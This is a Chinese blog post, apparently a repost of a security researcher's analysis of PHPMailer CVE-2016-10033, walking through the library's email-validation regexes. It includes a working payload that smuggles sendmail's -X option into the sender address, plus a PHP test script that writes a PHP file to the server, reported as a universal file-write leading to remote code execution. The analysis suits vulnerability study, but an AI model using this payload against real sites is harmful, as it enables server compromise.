http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( \u0026#39;/^(?!(?\u0026gt;(?1)\u0026#34;?(?\u0026gt;\\\\\\[ -~]|[^\u0026#34;])\u0026#34;?(?1)){255,})(?!(?\u0026gt;(?1)\u0026#34;?(?\u0026gt;\\\\\\[ -~]|[^\u0026#34;])\u0026#34;?(?1)){65,}@)\u0026#39; . \u0026#39;((?\u0026gt;(?\u0026gt;(?\u0026gt;((?\u0026gt;(?\u0026gt;(?\u0026gt;\\x0D\\x0A)?[\\t ])+|(?\u0026gt;[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?\u0026gt;(?2)\u0026#39; . \u0026#39;(?\u0026gt;[\\x01-\\x08\\x0B\\x0C\\x0E-\\\u0026#39;*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)\u0026#39; . \u0026#39;([!#-\\\u0026#39;*+\\/-9=?^-~-]+|\u0026#34;(?\u0026gt;(?2)(?\u0026gt;[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*\u0026#39; . \u0026#39;(?2)\u0026#34;)(?\u0026gt;(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?\u0026gt;([a-z0-9](?\u0026gt;[a-z0-9-]*[a-z0-9])?)\u0026#39; . \u0026#39;(?\u0026gt;(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?\u0026gt;IPv6:(?\u0026gt;([a-f0-9]{1,4})(?\u0026gt;:(?6)){7}\u0026#39; . \u0026#39;|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?\u0026gt;:(?6)){0,6})?::(?7)?))|(?\u0026gt;(?\u0026gt;IPv6:(?\u0026gt;(?6)(?\u0026gt;:(?6)){5}:\u0026#39; . \u0026#39;|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?\u0026gt;((?6)(?\u0026gt;:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}\u0026#39; . \u0026#39;|[1-9]?[0-9])(?\u0026gt;\\.(?9)){3}))\\])(?1)$/isD\u0026#39;, $address ); case \u0026#39;pcre\u0026#39;: //An older regex that doesn\u0026#39;t need a recent PCRE return (boolean)preg_match( \u0026#39;/^(?!(?\u0026gt;\u0026#34;?(?\u0026gt;\\\\\\[ -~]|[^\u0026#34;])\u0026#34;?){255,})(?!(?\u0026gt;\u0026#34;?(?\u0026gt;\\\\\\[ -~]|[^\u0026#34;])\u0026#34;?){65,}@)(?\u0026gt;\u0026#39; . \u0026#39;[!#-\\\u0026#39;*+\\/-9=?^-~-]+|\u0026#34;(?\u0026gt;(?\u0026gt;[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\u0026#34;)\u0026#39; . \u0026#39;(?\u0026gt;\\.(?\u0026gt;[!#-\\\u0026#39;*+\\/-9=?^-~-]+|\u0026#34;(?\u0026gt;(?\u0026gt;[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\u0026#34;))*\u0026#39; . \u0026#39;@(?\u0026gt;(?![a-z0-9-]{64,})(?\u0026gt;[a-z0-9](?\u0026gt;[a-z0-9-]*[a-z0-9])?)(?\u0026gt;\\.(?![a-z0-9-]{64,})\u0026#39; . \u0026#39;(?\u0026gt;[a-z0-9](?\u0026gt;[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?\u0026gt;IPv6:(?\u0026gt;(?\u0026gt;[a-f0-9]{1,4})(?\u0026gt;:\u0026#39; . \u0026#39;[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?\u0026gt;[a-f0-9]{1,4}(?\u0026gt;:[a-f0-9]{1,4}){0,6})?\u0026#39; . \u0026#39;::(?\u0026gt;[a-f0-9]{1,4}(?\u0026gt;:[a-f0-9]{1,4}){0,6})?))|(?\u0026gt;(?\u0026gt;IPv6:(?\u0026gt;[a-f0-9]{1,4}(?\u0026gt;:\u0026#39; . \u0026#39;[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?\u0026gt;[a-f0-9]{1,4}(?\u0026gt;:[a-f0-9]{1,4}){0,4})?\u0026#39; . \u0026#39;::(?\u0026gt;(?:[a-f0-9]{1,4}(?\u0026gt;:[a-f0-9]{1,4}){0,4}):)?))?(?\u0026gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}\u0026#39; . \u0026#39;|[1-9]?[0-9])(?\u0026gt;\\.(?\u0026gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$/isD\u0026#39;, $address ); case \u0026#39;html5\u0026#39;: /** * This is the pattern used in the HTML5 spec for validation of \u0026#39;email\u0026#39; type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( \u0026#39;/^[a-zA-Z0-9.!#$%\u0026amp;\\\u0026#39;*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}\u0026#39; . \u0026#39;[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD\u0026#39;, $address ); case \u0026#39;noregex\u0026#39;: //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that\u0026#39;s not the first or last char return (strlen($address) \u0026gt;= 3 and strpos($address, \u0026#39;@\u0026#39;) \u0026gt;= 1 and strpos($address, \u0026#39;@\u0026#39;) != strlen($address) - 1); case \u0026#39;php\u0026#39;: default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } } 其他的地方我就不分析了，只分析上面这个函数，这个函数有这个特点\n默认patternselect==‘auto’，它会自动选择一个方式对email进行检测 如果php支持正则PCRE（也就是包含 preg_replace 函数），就用正则的方式来检查，就是那一大串很难读懂的正则 如果php不支持PCRE，且PHP版本大于PHP5.2.0，就是用PHP自带的filter来检查email 如果php不支持PCRE，且PHP版本低于PHP5.2.0，就直接检查email中是否包含@ 所以，根据现在的分析（注意，不是最终分析），如果想绕过这个email的检查，目标PHP环境必须有以下两个条件：\nPHP版本小于5.2.0 PHP不支持正则表达式，即没有安装PCRE扩展（默认是安装的） 那么如果目标PHP环境不满足上述条件，是不是就绝对不会出现漏洞了呢？当然答案也是否定的，我提两种可能的情况。\n一、开发者手工指定Email检查方法 PHPMailer是支持让开发者手工指定Email的检测方法的：\n如果开发者编写了上述画框的代码，那么这里就是存在漏洞的，因为其只检查Email中是否包含@。\n二、开发者指定 PHPMailer::$validator = 'noregex' 我们看到validateAddress函数：\npublic static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } $patternselect 默认是根据 self::$validator 来确定的，如果开发者指定了 PHPMailer::$validator = 'noregex'，也就可以绕过validateAddress函数了。\n分析一下Email正则 那么，这真的是一个鸡肋漏洞么？年轻人，多思考一下。\n如果想把漏洞变成一个可用的好漏洞，需要去绕过Email的正则，我们来分析一下：\npreg_match( \u0026#39;/^(?!(?\u0026gt;(?1)\u0026#34;?(?\u0026gt;\\\\\\[ -~]|[^\u0026#34;])\u0026#34;?(?1)){255,})(?!(?\u0026gt;(?1)\u0026#34;?(?\u0026gt;\\\\\\[ -~]|[^\u0026#34;])\u0026#34;?(?1)){65,}@)\u0026#39; . \u0026#39;((?\u0026gt;(?\u0026gt;(?\u0026gt;((?\u0026gt;(?\u0026gt;(?\u0026gt;\\x0D\\x0A)?[\\t ])+|(?\u0026gt;[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?\u0026gt;(?2)\u0026#39; . \u0026#39;(?\u0026gt;[\\x01-\\x08\\x0B\\x0C\\x0E-\\\u0026#39;*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)\u0026#39; . \u0026#39;([!#-\\\u0026#39;*+\\/-9=?^-~-]+|\u0026#34;(?\u0026gt;(?2)(?\u0026gt;[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*\u0026#39; . \u0026#39;(?2)\u0026#34;)(?\u0026gt;(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?\u0026gt;([a-z0-9](?\u0026gt;[a-z0-9-]*[a-z0-9])?)\u0026#39; . \u0026#39;(?\u0026gt;(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?\u0026gt;IPv6:(?\u0026gt;([a-f0-9]{1,4})(?\u0026gt;:(?6)){7}\u0026#39; . \u0026#39;|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?\u0026gt;:(?6)){0,6})?::(?7)?))|(?\u0026gt;(?\u0026gt;IPv6:(?\u0026gt;(?6)(?\u0026gt;:(?6)){5}:\u0026#39; . \u0026#39;|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?\u0026gt;((?6)(?\u0026gt;:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}\u0026#39; . \u0026#39;|[1-9]?[0-9])(?\u0026gt;\\.(?9)){3}))\\])(?1)$/isD\u0026#39;, $address ); 中间的分析过程我后面慢慢写，多研究一下你会发现，在@前面，如果加上括号，将可以引入空格，我的payload如下：\naaa( -X/home/www/success.php )@qq.com 测试代码：\n\u0026lt;?php require \u0026#39;PHPMailer/PHPMailerAutoload.php\u0026#39;; function send($from) { $mail = new PHPMailer; $mail-\u0026gt;setFrom($from); $mail-\u0026gt;addAddress(\u0026#39;joe@example.net\u0026#39;, \u0026#39;Joe User\u0026#39;); // Add a recipient $mail-\u0026gt;isHTML(true); // Set email format to HTML $mail-\u0026gt;Subject = \u0026#39;\u0026lt;?php phpinfo(); ?\u0026gt;\u0026#39;; $mail-\u0026gt;Body = \u0026#39;This is the HTML message body \u0026lt;b\u0026gt;in bold!\u0026lt;/b\u0026gt;\u0026#39;; $mail-\u0026gt;AltBody = \u0026#39;This is the body in plain text for non-HTML mail clients\u0026#39;; if(!$mail-\u0026gt;send()) { echo \u0026#39;Message could not be sent.\u0026#39;; echo \u0026#39;Mailer Error: \u0026#39; . $mail-\u0026gt;ErrorInfo; } else { echo \u0026#39;Message has been sent\u0026#39; . \u0026#34;\\n\u0026#34;; } unset($mail); } $address = \u0026#34;aaa( -X/home/www/test.php )@qq.com\u0026#34;; send($address); 执行：\n成功写入success.php。\n利用这个payload，是无需PHP满足什么条件的，通用写文件Payload。\n参考链接：\nhttps://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html http://pwnscriptum.com/ https://www.exploit-db.com/exploits/40968/ https://github.com/opsxcq/exploit-CVE-2016-10033 ","permalink":"https://www.lucien116.com/archives/231/","summary":"\u003cp\u003e来源： \u003ca href=\"https://blog.chaitin.cn/phpmailer-cve-2016-10033/\"\u003ehttps://blog.chaitin.cn/phpmailer-cve-2016-10033/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e作者： \u003ca href=\"https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html\"\u003e\u003cstrong\u003ephithon@长亭科技\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ePHPMailer是一个基于PHP语言的邮件发送组件，被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。\u003c/p\u003e\n\u003cp\u003eCVE-2016-10033是PHPMailer中存在的高危安全漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。\u003c/p\u003e\n\u003cp\u003e对比一下新老版本： \u003ca href=\"https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master\"\u003ehttps://github.com/PHPMailer/PHPMailer/compare/v5.2.17\u0026hellip;master\u003c/a\u003e \u003cimg alt=\"img\" loading=\"lazy\" src=\"https://blog.chaitin.cn/phpmailer-cve-2016-10033/media/14827394516349/14827395246777.jpg\"\u003e其实答案呼之欲出了——和Roundcube的RCE类似，mail函数的第五个参数，传命令参数的地方没有进行转义。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e回顾一下当时Roundcube的漏洞：因为mail函数最终是调用的系统的sendmail进行邮件发送，而sendmail支持-X参数，通过这个参数可以将日志写入指定文件。可以写文件，当然就可以写shell，造成RCE了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e详细分析一下，下载一份源码，并切换到5.2.17版本：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit clone https://github.com/PHPMailer/PHPMailer\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecd PHPMailer\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit checkout -b CVE-2016-10033 v5.2.17\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e单步调试可以发现确实和之前Roundcube出现的漏洞（ \u003ca href=\"http://wiki.ioin.in/search?word=roundcube\"\u003ehttp://wiki.ioin.in/search?word=roundcube\u003c/a\u003e ）一样，是传给mail函数的第五个参数没有正确过滤：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"img\" loading=\"lazy\" src=\"https://blog.chaitin.cn/phpmailer-cve-2016-10033/media/14827394516349/14827421313172.jpg\"\u003e但上图是错的，因为这里是不支持bash的一些语法的，也就是说反引号、 \u003ccode\u003e${IFS}\u003c/code\u003e 都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测，这导致我们无法构造出像Roundcube那些可以直接写文件的payload，检测部分的代码如下：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e/**\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eCheck\u003c/span\u003e \u003cspan class=\"n\"\u003ethat\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003elooks\u003c/span\u003e \u003cspan class=\"n\"\u003elike\u003c/span\u003e \u003cspan class=\"n\"\u003ean\u003c/span\u003e \u003cspan class=\"n\"\u003eemail\u003c/span\u003e \u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eparam\u003c/span\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e \u003cspan class=\"n\"\u003eThe\u003c/span\u003e \u003cspan class=\"n\"\u003eemail\u003c/span\u003e \u003cspan class=\"n\"\u003eaddress\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003echeck\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eparam\u003c/span\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003ecallable\u003c/span\u003e \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"n\"\u003eA\u003c/span\u003e \u003cspan class=\"n\"\u003eselector\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003evalidation\u003c/span\u003e \u003cspan class=\"n\"\u003epattern\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003euse\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e`\u003c/span\u003e\u003cspan class=\"n\"\u003eauto\u003c/span\u003e\u003cspan class=\"err\"\u003e`\u003c/span\u003e \u003cspan class=\"n\"\u003ePick\u003c/span\u003e \u003cspan class=\"n\"\u003ebest\u003c/span\u003e \u003cspan class=\"n\"\u003epattern\u003c/span\u003e \u003cspan class=\"n\"\u003eautomatically\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e`\u003c/span\u003e\u003cspan class=\"n\"\u003epcre8\u003c/span\u003e\u003cspan class=\"err\"\u003e`\u003c/span\u003e \u003cspan class=\"n\"\u003eUse\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003esquiloople\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e \u003cspan class=\"n\"\u003epattern\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erequires\u003c/span\u003e \u003cspan class=\"n\"\u003ePCRE\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mf\"\u003e8.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ePHP\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mf\"\u003e5.3\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mf\"\u003e5.2\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e`\u003c/span\u003e\u003cspan class=\"n\"\u003epcre\u003c/span\u003e\u003cspan class=\"err\"\u003e`\u003c/span\u003e \u003cspan class=\"n\"\u003eUse\u003c/span\u003e \u003cspan class=\"n\"\u003eold\u003c/span\u003e \u003cspan class=\"n\"\u003ePCRE\u003c/span\u003e \u003cspan class=\"n\"\u003eimplementation\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e`\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"err\"\u003e`\u003c/span\u003e \u003cspan class=\"n\"\u003eUse\u003c/span\u003e \u003cspan class=\"n\"\u003ePHP\u003c/span\u003e \u003cspan class=\"n\"\u003ebuilt\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003eFILTER_VALIDATE_EMAIL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e`\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml5\u003c/span\u003e\u003cspan class=\"err\"\u003e`\u003c/span\u003e \u003cspan class=\"n\"\u003eUse\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003epattern\u003c/span\u003e \u003cspan class=\"n\"\u003egiven\u003c/span\u003e \u003cspan class=\"n\"\u003eby\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003eHTML5\u003c/span\u003e \u003cspan class=\"n\"\u003espec\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;email\u0026#39;\u003c/span\u003e \u003cspan class=\"n\"\u003etype\u003c/span\u003e \u003cspan class=\"n\"\u003eform\u003c/span\u003e \u003cspan class=\"n\"\u003einput\u003c/span\u003e \u003cspan class=\"n\"\u003eelements\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e`\u003c/span\u003e\u003cspan class=\"n\"\u003enoregex\u003c/span\u003e\u003cspan class=\"err\"\u003e`\u003c/span\u003e \u003cspan class=\"n\"\u003eDon\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;t use a regex: super fast, really dumb.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eAlternatively\u003c/span\u003e \u003cspan class=\"n\"\u003eyou\u003c/span\u003e \u003cspan class=\"n\"\u003emay\u003c/span\u003e \u003cspan class=\"k\"\u003epass\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003ecallable\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003einject\u003c/span\u003e \u003cspan class=\"n\"\u003eyour\u003c/span\u003e \u003cspan class=\"n\"\u003eown\u003c/span\u003e \u003cspan class=\"n\"\u003evalidator\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003eexample\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ePHPMailer\u003c/span\u003e\u003cspan class=\"p\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003evalidateAddress\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user@example.com\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e     \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estrpos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!==\u003c/span\u003e \u003cspan class=\"bp\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eYou\u003c/span\u003e \u003cspan class=\"n\"\u003ecan\u003c/span\u003e \u003cspan class=\"n\"\u003ealso\u003c/span\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003ePHPMailer\u003c/span\u003e\u003cspan class=\"p\"\u003e::\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003evalidator\u003c/span\u003e \u003cspan class=\"k\"\u003estatic\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003ecallable\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eallowing\u003c/span\u003e \u003cspan class=\"n\"\u003ebuilt\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003emethods\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003euse\u003c/span\u003e \u003cspan class=\"n\"\u003eyour\u003c/span\u003e \u003cspan class=\"n\"\u003evalidator\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eaccess\u003c/span\u003e \u003cspan class=\"n\"\u003epublic\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"o\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003estatic\u003c/span\u003e \u003cspan class=\"n\"\u003efunction\u003c/span\u003e \u003cspan class=\"n\"\u003evalidateAddress\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eaddress\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003epatternselect\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 